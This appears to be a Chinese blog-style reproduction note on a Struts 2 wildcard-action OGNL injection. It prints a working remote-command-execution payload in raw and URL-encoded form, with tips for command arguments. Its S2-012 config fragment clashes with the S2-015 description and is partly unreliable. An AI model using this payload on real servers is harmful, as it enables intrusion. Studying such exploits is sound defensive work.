描述
2.3.14.3 之前的 Apache Struts 2 允许远程攻击者通过带有在通配符匹配期间未正确处理的精心制作的操作名称的请求执行任意 OGNL 代码,这是与 CVE-2013-2135 不同的漏洞。
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name}
作为重定向变量,例如:
1 | <package name="S2-012" extends="struts-default"> |
payload:
1 | ${#context[‘xwork.MethodAccessor.denyMethodExecution’]=false,#m=#_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess’),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘ls’).getInputStream()),#q}.action |
要经过 URL 编码后才能使用:
1 | /%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27ls%27%29.getInputStream%28%29%29%2C%23q%7D.action |
1 |
|
注意:执行的命令存在空格用’,’替换 例如:
ls -l
命令改成ls','-l
原理一:一旦配置通配符*,访问 name.action 时使用 name.jsp 来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name 值的位置比较特殊,一些特殊的字符如 / “ \ 都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
不知道为啥
/
无法使用,所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。
最后用的工具